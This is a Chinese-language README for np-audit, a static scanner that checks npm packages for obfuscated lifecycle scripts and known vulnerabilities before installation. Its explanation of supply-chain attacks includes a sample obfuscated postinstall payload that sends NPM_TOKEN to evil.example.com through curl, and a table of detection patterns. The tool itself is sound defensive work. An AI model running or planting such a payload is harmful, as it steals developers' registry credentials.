
针对 npm 包的静态安全分析——在执行前检测混淆的生命周期脚本、已知漏洞和恶意模式。可作为 npm install 和 npm ci 的即插即用替代品。
零依赖。 仅使用纯 Node.js 内置模块。体积 < 100 kB。
npx np-audit scan express
npm install -g np-audit
npa scan # 扫描所有依赖
npa install # 审计并安装
alias npm='npa' # 作为即插即用替代品使用
检测功能被拆分为模块化的检测器(marshallers)——每个检测器检测一种攻击信号:
分数随严重程度变化——混淆指标数量越多,分数越高。最终判定基于所有检测器中的单个最高分。
参见 CONTRIBUTING.md 了解如何编写自定义检测器。
每个被扫描的包都会在代码分析的同时,与已知漏洞数据库进行比对。
默认:OSV.dev(无需额外设置)
开箱即用——查询免费的 OSV.dev API 以获取已知漏洞和恶意包公告。
可选:Snyk API(更丰富的数据)
# 环境变量
export SNYK_API_TOKEN=your-token-here
# 或通过 Snyk CLI
snyk auth
令牌解析顺序:SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json
| 严重程度 | 分数 | 判定 |
|---|
非恶意的 CVE 会产生警告,但不会阻止安装。只有确认的恶意包才会触发“危险”判定。
任何未识别的命令都将转发给 npm(例如 npa run test、npa publish)。
--review 模式npa install --review
npa --review 模式
使用 ↑/↓ 导航,SPACE 切换,ENTER 确认,q 退出
发现 3 个包含安装脚本的包:
[✓ 允许] [email protected] postinstall: post-install.js OK
▶ [✗ 拒绝] [email protected] postinstall: install.js 危险 (分数: 9)
[✓ 允许] @scope/[email protected] postinstall: install.js 警告 (分数: 5)
2 个已允许 1 个已拒绝
配置存储在 ~/.npmauditor.json(全局),并可在项目中通过 .npmauditor.json 覆盖。
npa config get # 显示当前配置
npa config set blockScore 6 # 在分数 ≥6 时阻止
npa config set skipPackages '["esbuild"]' # 信任特定包
npa config set skipScopes '["@types"]' # 信任整个范围
您可以通过将特定检测器的名称添加到 disabledMarshallers 来禁用它们:
npa config set disabledMarshallers '["process-env", "network-call"]'
要查看所有可用的检测器名称及其当前状态:
npa config marshallers
当某个检测器在您的工作流中产生误报时,这会很有用。被禁用的检测器在静态代码分析和包级别检查中都会被完全跳过。
将 npa 用作透明的 npm 替代品:
npa alias --install # 添加:alias npm='npa'
source ~/.zshrc # 重新加载 shell
现在 npm install、npm ci 会自动扫描。所有其他 npm 命令(npm run、npm test、npm publish)会原样传递。
npa alias --uninstall # 移除别名
package-lock.json(v1/v2/v3)或从 package.json 解析node_modules 读取)&&/||/;/|,处理 node -e、sh -c、shell 脚本require()/import 图(循环检测,上限 50 个文件 / 5 MB)供应链攻击滥用 npm 的生命周期脚本。当您运行 npm install 时,任何 preinstall/install/postinstall 脚本都会自动执行。攻击者将有效载荷隐藏在混淆之后:
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
现实世界中的事件:
npa 从不执行脚本。它会下载并静态分析它们。
| 代码 | 含义 |
|---|---|
0 | 全部清洁或仅有警告 |
1 | 一个或多个包被阻止 |
MIT
| 检测器 | 检测内容 | 分数 |
|---|
eval/dynamic-exec | eval()、new Function()、间接 eval、vm.*、含字符串的 setTimeout | 8 |
obfuscator.io | _0x 变量命名模式(obfuscator.io 输出) | 9–80 |
high-entropy-string | 长字符串或高香农熵的拼接链 | 6 |
hex-escape-density | 密集的 \xNN 和 \uXXXX 转义序列 | 5–50 |
fromCharCode | 带有大量参数的 String.fromCharCode、大型十进制字符码数组 | 7 |
encoded-decode | Base64/十六进制解码(atob、Buffer.from),可选与 eval 组合 | 3–8 |
child-process | require('child_process')、exec、spawn、fork、worker_threads | 5 |
hex-array | 大量 0x 十六进制字面量值 | 7–60 |
process-env | 访问 process.env(凭据泄露信号) | 3 |
network-call | require('https')、fetch()、dns、net、tls | 4 |
filesystem-manipulation | fs.writeFile、chmod、symlink(后门持久化) | 3–4 |
runtime-download | 下载并执行外部运行时(Bun、Deno) | 9–50 |
vscode-autorun | 带有 runOn: folderOpen 的 VS Code 任务(自动执行) | 30 |
known-vulnerability | 通过 Snyk API 或 OSV.dev 发现的已知 CVE | 4–6(WARN),80(恶意) |
| 恶意包 | 80 | 危险 |
| 10 个以上漏洞 | 6 | 警告 |
| 5–9 个漏洞 | 5 | 警告 |
| 1–4 个漏洞 | 4 | 警告 |
| 命令 | 别名 | 说明 |
|---|
npa install [package] | npa i | 审计后运行 npm install |
npa ci | — | 审计后运行 npm ci |
npa scan [package] | npa s | 仅扫描,不安装 |
npa config get | npa c get | 显示当前配置 |
npa config set <key> <value> | npa c set | 更新配置值 |
npa alias --install | — | 安装 shell 别名 |
npa alias --uninstall | — | 移除 shell 别名 |
| 标志 | 别名 | 配合的命令 | 说明 |
|---|
--review | -r | install、ci | 交互模式——选择允许哪些脚本 |
--json | — | install、ci、scan | 机器可读的 JSON 输出 |
--no-dev | — | install、ci、scan | 跳过 devDependencies |
--verbose | — | 所有 | 显示获取进度和额外细节 |
--version | -v | — | 打印版本并退出 |
--help | -h | — | 打印帮助并退出 |
| 键 | 默认值 | 说明 |
|---|
blockScore | 7 | 触发 DANGER(退出码 1)的分数阈值 |
warnScore | 4 | 触发 WARN(退出码 0)的分数阈值 |
registry | https://registry.npmjs.org | npm 注册表 URL |
timeout | 30000 | HTTP 请求超时(毫秒) |
parallelFetches | 5 | 并发下载数 |
skipScopes | [] | 要跳过的 @scope 前缀 |
skipPackages | [] | 要跳过的包名 |
silent | false | 未发现问题时抑制输出 |
scanSelf | true | 扫描自身工程的生命周期脚本 |
maxTarballSize | 50MB | 最大解压后 tarball 大小(炸弹防护) |
checkVulnerabilities | true | 检查包与 CVE 数据库的对比 |
deepResolve | false | 解析完整的传递依赖树 |
disabledMarshallers | [] | 扫描时跳过的检测器名称 |